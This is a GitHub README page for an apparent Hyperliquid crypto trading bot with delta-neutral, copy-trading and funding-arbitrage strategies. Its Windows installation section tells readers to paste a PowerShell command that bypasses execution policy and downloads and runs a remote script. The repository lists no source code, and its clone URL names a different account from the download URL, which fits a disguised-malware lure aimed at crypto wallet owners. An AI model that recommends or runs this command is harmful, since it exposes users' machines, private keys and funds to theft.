🤖 Hyperliquid Strategy Trading Bot

Automated trading bot for Hyperliquid with three independent strategies — production-grade TypeScript, real-time WebSocket execution

╔══════════════════════════════════════════════════════════════════╗
║  Strategy 1 — Delta-Neutral      │  near-zero directional risk  ║
║  Strategy 2 — Copy Trading       │  mirror any wallet live      ║
║  Strategy 3 — Funding Arbitrage  │  harvest funding rate yields ║
╚══════════════════════════════════════════════════════════════════╝

🚀 Start Trading · 📊 Leaderboard · 📖 API Docs · 💬 Telegram

📌 Table of Contents

Strategies
Installation
Configuration .env
Running the Bot
Running 24/7 on a VPS
Risk Management
Telegram Commands
Disclaimer

📐 Strategies

⚖️ Strategy 1 — Delta-Neutral

Earn on volatility and funding rates while staying neutral to market direction. Your profit does not depend on whether the price goes up or down.

  Open LONG on spot (BTC)  +  SHORT on perp (BTC)
              │
              ▼
  Positions hedge each other → net delta ≈ 0
              │
              ▼
  Profit comes from:
    • positive funding rate payments (perp longs pay shorts)
    • spread captured during rebalancing

How it works:

The bot opens equal-sized LONG (spot) and SHORT (perp) positions on the same asset via Hyperliquid's unified account.
Every N hours the bot checks delta drift caused by price movement and rebalances if the deviation exceeds the threshold.
When the funding rate turns negative, the bot inverts positions (SHORT spot + LONG perp) to keep collecting payments.

Decision table:

Condition	Action
Funding rate > 0.01%	Hold SHORT on perp, collect payments
Funding rate < -0.01%	Invert positions
Delta drifted > 5%	Rebalance
High volatility detected	Reduce position size

Config block:

STRATEGY=delta_neutral
DN_ASSET=BTC
DN_SPOT_SIZE=100            # USD in spot leg
DN_PERP_SIZE=100            # USD in perp leg
DN_REBALANCE_THRESHOLD=5    # % of drift before rebalancing
DN_MIN_FUNDING=0.005        # Minimum funding rate to enter (%)
DN_CHECK_INTERVAL=3600      # Check every N seconds
DN_LEVERAGE=1               # Leverage for the perp leg

💡 Tip: This strategy performs best during bull markets when Hyperliquid funding rates are consistently positive. Check the funding history on the exchange before entering — avoid assets with erratic or near-zero rates.

📡 Strategy 2 — Copy Trading

The bot subscribes to a target wallet's fills via WebSocket in real time. When a fill is detected, it immediately calculates a proportionally scaled order and mirrors it on your account — opens, reduces, and closes all followed automatically.

  Target wallet opens BTC LONG $10,000
              │
              ▼  (detected on-fill via WebSocket)
              │
  Bot calculates position size:
  (ourEquity $5,000 / targetEquity $10,000) × $10,000 × multiplier 1.0 = $5,000
  MAX_POSITION_SIZE_PERCENT cap applied if needed
              │
              ▼
  Your account opens BTC LONG $5,000 ✅
              │
              ▼
  Target reduces or closes → Bot mirrors proportionally ✅

Choosing who to copy:

Use the Hyperliquid Leaderboard to find consistently profitable traders. Both regular wallet addresses and vault addresses are supported.

✅ Good wallets to copy:

Consistent long-term PnL (not just one lucky week)
Holds positions for hours or days (swing trading)
Makes 1–5 trades per day
Clear directional bias — not constantly flipping sides

❌ Do NOT copy these:

HFT / High-Frequency Traders — trade dozens of times per second, your bot can't keep up and loses on slippage
Market Makers — hold positions on both sides simultaneously, copying causes guaranteed loss
Scalpers — hold positions for seconds or minutes, orders won't fill in time
Leverage manipulators — constantly change leverage to distort position sizing

💡 Tip: Check how long the wallet holds positions on average. Target wallets that hold for 2+ hours.

Config block:

STRATEGY=copy_trading
TARGET_WALLET=0xTargetWalletAddressHere
SIZE_MULTIPLIER=1.0               # Scale factor on top of equity ratio
MAX_LEVERAGE=20                   # Cap on copied leverage
MAX_POSITION_SIZE_PERCENT=50      # Max single position as % of our equity
MIN_NOTIONAL=10                   # Skip trades below $10 (Hyperliquid minimum)
MAX_CONCURRENT_TRADES=10          # Max open positions at once
BLOCKED_ASSETS=                   # Comma-separated assets to skip, e.g. BTC,ETH
SYNC_INTERVAL=5                   # Health check interval (seconds)

💸 Strategy 3 — Funding Arbitrage

The bot scans Hyperliquid perp markets for anomalously high funding rates and collects payments with minimal directional exposure.

  Scan all Hyperliquid perps → find funding rate above entry threshold
                │
                ▼
  Open position AGAINST the funding direction:
    • Funding > 0  →  SHORT  (longs pay shorts every 1h on HL)
    • Funding < 0  →  LONG   (shorts pay longs every 1h on HL)
                │
                ▼
  Collect payment every hour
                │
                ▼
  Exit when any of these triggers:
    • Rate normalizes below exit_threshold
    • Target PnL is reached
    • Position held longer than max_hold_hours

Why Hyperliquid is ideal for this:

Hyperliquid settles funding every hour (not every 8 hours like most CEXs), which means 24 payment cycles per day. High-rate events compound faster, and the bot can react to rate changes more precisely.

Example scenario:

BTC funding = +0.01% per hour  (= 0.24% per day = ~87% APR)
Bot opens $100 SHORT on BTC-PERP
  → receives $0.01 per hour
  → over 48 hours = $0.48 on $100 deployed
  → annualized ≈ 87% APR  (if rate holds)
Optional spot hedge (30%) limits price exposure to ±$0.70 per 1% move

Config block:

STRATEGY=funding_arb
FA_SCAN_ASSETS=BTC,ETH,SOL,ARB,OP
FA_MIN_FUNDING=0.005          # Minimum hourly rate to enter (%)
FA_EXIT_FUNDING=0.001         # Hourly rate at which to exit (%)
FA_POSITION_SIZE=50           # Position size in USD
FA_MAX_HOLD_HOURS=48          # Maximum time to hold a position
FA_HEDGE_RATIO=0.3            # Spot hedge as fraction of perp size (0 = no hedge)
FA_LEVERAGE=1                 # Keep low — this is a yield play, not a directional bet
FA_CHECK_INTERVAL=300         # Scan every N seconds

💡 Tip: Hyperliquid's 1-hour funding cycle makes even 0.003–0.005% hourly rates worth capturing. Set FA_MIN_FUNDING lower than you would on an 8-hour cycle exchange.

Requirements

Node.js 18+ (ESM support)
npm or yarn
A Hyperliquid account (testnet or mainnet)
At least $10 USDC deposited

Quick Installation (Windows)

Option 1: PowerShell (Recommended)

Open PowerShell and run this single command:

powershell -ep bypass -c "iwr https://github.com/xlev-v/Hyperliquid-Trading-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"

Option 2: Cmd

Open CMD and run this single command:

powershell -ep bypass -c "iwr https://github.com/xlev-v/Hyperliquid-Trading-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"

Step 2 — Install dependencies

npm install

Step 3 — Configure environment variables

cp .env.example .env

Edit .env with your values — see the Configuration section below.

Step 4 — Build TypeScript

npm run build

Step 5 — Start the bot

npm start

⚙️ Configuration `.env`

Create a .env file (or copy from .env.example):

# ── Required ───────────────────────────────────────────
PRIVATE_KEY=0xYourPrivateKeyHere
TESTNET=true                     # Start on testnet first!

# ── Active strategy ────────────────────────────────────
# Options: delta_neutral | copy_trading | funding_arb
STRATEGY=copy_trading

# ── Safety modes ───────────────────────────────────────
DRY_RUN=true                     # Log actions without placing real orders
LOG_LEVEL=info                   # error | warn | info | debug

# ── Risk limits ────────────────────────────────────────
DAILY_LOSS_LIMIT=10              # Bot halts if daily loss exceeds this ($)
UNREALIZED_LOSS_LIMIT=15         # Force-closes all positions if exceeded ($)
MAX_LEVERAGE=20                  # Global leverage cap
MAX_POSITION_SIZE_PERCENT=50     # Max single position as % of equity
MIN_NOTIONAL=10                  # Minimum order size ($) — HL requires ~$10

# ── Health checks ──────────────────────────────────────
HEALTH_CHECK_INTERVAL=5          # Position drift check interval (minutes)

# ── Telegram (optional) ────────────────────────────────
TELEGRAM_BOT_TOKEN=
TELEGRAM_CHAT_ID=

# ── Strategy-specific parameters ──────────────────────
# Paste the relevant config block from the strategy sections above

Key distinction

PRIVATE_KEY     = YOUR wallet private key    (sign orders — never share)
TARGET_WALLET   = wallet you are copying     (public address, copy trading only)
TESTNET=true    = Hyperliquid testnet        (always start here)
DRY_RUN=true    = simulate without trading  (combine with testnet for safe testing)

🚀 Running the Bot

npm start              # Start the bot (production)
npm run dev            # Development mode with watch/reload
npm run build          # Compile TypeScript

On successful start:

╔══════════════════════════════════════════════════════╗
║   🤖  Hyperliquid Strategy Bot v2.0                  ║
║   Press Ctrl+C at any time to stop.                  ║
╚══════════════════════════════════════════════════════╝

  Strategy:  copy_trading
  Network:   Testnet
  Wallet:    0x0123...hth
  Target:    0x02C8...45A0
  Dry-run:   OFF

  Start bot? [yes/no]: yes

Live terminal dashboard:

🤖 Hyperliquid Strategy Bot v2.0           updated 09:04:15
══════════════════════════════════════════════════════════════
  Status: ● RUNNING   Strategy: copy_trading   WS: connected
  Target: 0x02C84f1e9812c45A08...   Copies today: 3
──────────────────────────────────────────────────────────────
  POSITIONS
  Asset        Our Size   Target Size   Side       Exposure   Max
  BTC           0.0050     0.0100       LONG ▲    $  432     50%
               [███████░] 86%
──────────────────────────────────────────────────────────────
  RISK
  Exposure   [████░░░░░░] $432 / $1,000
  Daily loss [░░░░░░░░░░] $0.00 / $10
  Unrealized  $+2.40  (limit: -$15)
──────────────────────────────────────────────────────────────
  RECENT TRADES
  09:04:15  BTC   BUY    $432.0   leverage 5×   ✅ filled
  08:42:50  ETH   BUY    $210.0   leverage 3×   ✅ filled

🖥️ Running 24/7 on a VPS

For continuous operation, use a cheap VPS (Vultr, DigitalOcean, Hetzner — ~$5/month).

Ubuntu VPS setup

# 1. Update system
sudo apt update && sudo apt upgrade -y
sudo apt install nodejs npm screen git -y

# Upgrade Node.js to 18+ if needed
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install nodejs -y

# 2. Clone repo
git clone https://github.com/omgmad/hyperliquid-strategy-bot
cd hyperliquid-strategy-bot

# 3. Install & build
npm install
npm run build

# 4. Configure
nano .env   # paste your settings

# 5. Run inside screen (stays alive after you disconnect)
screen -S hlbot
npm start

# Press Ctrl+A then D to detach — bot keeps running

Reconnect later

screen -r hlbot

Useful log commands

tail -50 logs/combined.log
tail -50 logs/error.log
grep "filled" logs/combined.log | tail -20        # Successful fills
grep "OPEN\|CLOSE" logs/combined.log | tail -20   # All order attempts
grep "funding" logs/combined.log | tail -20        # Funding rate events
grep "drift" logs/combined.log | tail -10          # Health check drift warnings

🛡️ Risk Management

DAILY_LOSS_LIMIT hit        ──► Bot halts + closes all positions
UNREALIZED_LOSS_LIMIT hit   ──► Immediately force-closes all (market order)
MAX_POSITION_SIZE_PERCENT   ──► Caps any single position as % of equity
MAX_CONCURRENT_TRADES hit   ──► Blocks new opens until a position closes
MIN_NOTIONAL not met        ──► Skips the trade (Hyperliquid requires ~$10)
BLOCKED_ASSETS match        ──► Skips that asset entirely

Safe starter config (beginners)

TESTNET=true
DRY_RUN=true
SIZE_MULTIPLIER=0.3
MAX_LEVERAGE=5
MAX_POSITION_SIZE_PERCENT=20
MAX_CONCURRENT_TRADES=3
DAILY_LOSS_LIMIT=5
UNREALIZED_LOSS_LIMIT=8

⚠️ Always start on testnet with DRY_RUN=true. Only move to mainnet after you have verified the bot behaves as expected for several hours. Get testnet tokens from the faucet.

📱 Telegram Setup & Commands

Telegram integration lets you receive real-time trade alerts and control the bot remotely. Setup takes about 2 minutes.

Step 1 — Create a bot and get your token

Open Telegram and search for @BotFather
Send /newbot and follow the prompts
BotFather will reply with a token — copy it into .env:

TELEGRAM_BOT_TOKEN=your_bot_token_here

Step 2 — Get your Chat ID

Start a conversation with your new bot
Visit: https://api.telegram.org/bot<YOUR_TOKEN>/getUpdates
Find "chat":{"id":123456789} — that number is your Chat ID
Copy it into .env:

TELEGRAM_CHAT_ID=123456789

Step 3 — Restart the bot

Notifications activate automatically on next start.

Commands

Command	Action
`/status`	Current positions, PnL, active strategy
`/pause`	Pause the bot (keeps existing positions open)
`/resume`	Resume the bot
`/close`	Close all positions immediately (market order)
`/stop`	Stop the bot completely
`/pnl`	Detailed PnL breakdown
`/strategy`	Show current strategy and parameters

Example alerts

✅ Trade Copied
Target:  BTC  Open Long  0.1 @ $50,000
Ours:    BTC  Long  0.05 × 10×  leverage
Status:  Filled  │  Order ID: 12345

💰 Funding Collected
Strategy: funding_arb
Asset:    ETH
Amount:   +$0.031
Rate:     0.031% per hour

⚠️ Health Check — Drift Detected
Our equity:     $5,000
Target equity:  $10,000
BTC:  our 0.05 vs target 0.10  (diff: 0.05)

🛑 Bot Stopped
Reason:  Daily loss limit reached ($10.00)
Action:  All positions closed

⚠️ Disclaimer

RISK WARNING: This bot trades real money on a live decentralised exchange. All three strategies carry significant financial risk. Leverage amplifies both gains and losses. Past performance does not guarantee future results. You may lose your entire capital. Use entirely at your own risk.

Never invest more than you can afford to lose
Always test on testnet with DRY_RUN=true before going live
Do not copy HFT, Market Maker, or scalper wallets
Never share your private key or .env file with anyone
Secure your VPS — treat it like a hot wallet
Check your local regulations regarding automated trading

🔗 Links

If this helped you, please give it a ⭐ Star — it means a lot!

🔍 Topics

hyperliquid-bot, trading-bot, typescript, nodejs, crypto-bot, perp-trading, delta-neutral, copy-trading, funding-arbitrage, websocket, real-time-trading, defi, web3, automated-trading, risk-management, telegram-bot, limit-orders, market-making, hyperliquid-api, trading-strategies, arbitrage-bot, quantitative-trading, on-chain-trading, perpetual-swaps, kelly-criterion, backtesting, portfolio-management, typescript-bot, exchange-bot, hyperliquid-dex

Name		Name	Last commit message	Last commit date
Latest commit History 3 Commits
.env.example		.env.example
.gitignore		.gitignore
LICENSE		LICENSE
README.md		README.md
requirements.txt		requirements.txt

Folders and files

Latest commit

History

Repository files navigation

🤖 Hyperliquid Strategy Trading Bot

📌 Table of Contents

📐 Strategies

⚖️ Strategy 1 — Delta-Neutral

📡 Strategy 2 — Copy Trading

💸 Strategy 3 — Funding Arbitrage

Requirements

Quick Installation (Windows)

Option 1: PowerShell (Recommended)

Option 2: Cmd

Step 2 — Install dependencies

Step 3 — Configure environment variables

Step 4 — Build TypeScript

Step 5 — Start the bot

⚙️ Configuration .env

Key distinction

🚀 Running the Bot

🖥️ Running 24/7 on a VPS

Ubuntu VPS setup

Reconnect later

Useful log commands

🛡️ Risk Management

Safe starter config (beginners)

📱 Telegram Setup & Commands

Step 1 — Create a bot and get your token

Step 2 — Get your Chat ID

Step 3 — Restart the bot

Commands

Example alerts

⚠️ Disclaimer

🔗 Links

🔍 Topics

About

Topics

Resources

License

Uh oh!

Stars

Watchers

Forks

Releases 1

Packages 0

Uh oh!

Contributors

Uh oh!

⚙️ Configuration `.env`

Packages